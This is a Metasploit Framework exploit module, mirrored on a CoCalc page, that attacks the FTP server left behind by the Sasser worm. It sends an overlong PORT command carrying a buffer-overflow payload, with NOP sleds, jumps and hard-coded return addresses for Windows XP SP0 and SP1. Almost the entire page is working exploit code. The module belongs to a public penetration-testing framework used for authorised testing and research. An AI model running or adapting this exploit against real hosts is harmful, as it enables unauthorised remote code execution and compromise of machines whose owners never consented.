CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/sasser_ftpd_port.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Ftp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'Sasser Worm avserve FTP PORT Buffer Overflow',
14
'Description' => %q{
15
This module exploits the FTP server component of the Sasser worm.
16
By sending an overly long PORT command the stack can be overwritten.
17
},
18
'Author' => [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'aushack' ],
19
'Arch' => [ ARCH_X86 ],
20
'License' => MSF_LICENSE,
21
'References' =>
22
[
23
[ 'OSVDB', '6197'],
24
],
25
'DefaultOptions' =>
26
{
27
'EXITFUNC' => 'thread',
28
},
29
'Platform' => ['win'],
30
'Privileged' => false,
31
'Payload' =>
32
{
33
'Space' => 480,
34
'BadChars' => "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
35
'StackAdjustment' => -3500,
36
},
37
'Targets' =>
38
[
39
[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
40
[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
41
],
42
'DisclosureDate' => '2004-05-10',
43
'DefaultTarget' => 1))
44
45
register_options(
46
[
47
Opt::RPORT(5554),
48
])
49
end
50
51
def exploit
52
connect
53
54
print_status("Trying target #{target.name}...")
55
56
sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
57
sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)
58
59
send_cmd( ['PORT', sploit] , false)
60
61
handler
62
disconnect
63
end
64
end
65
66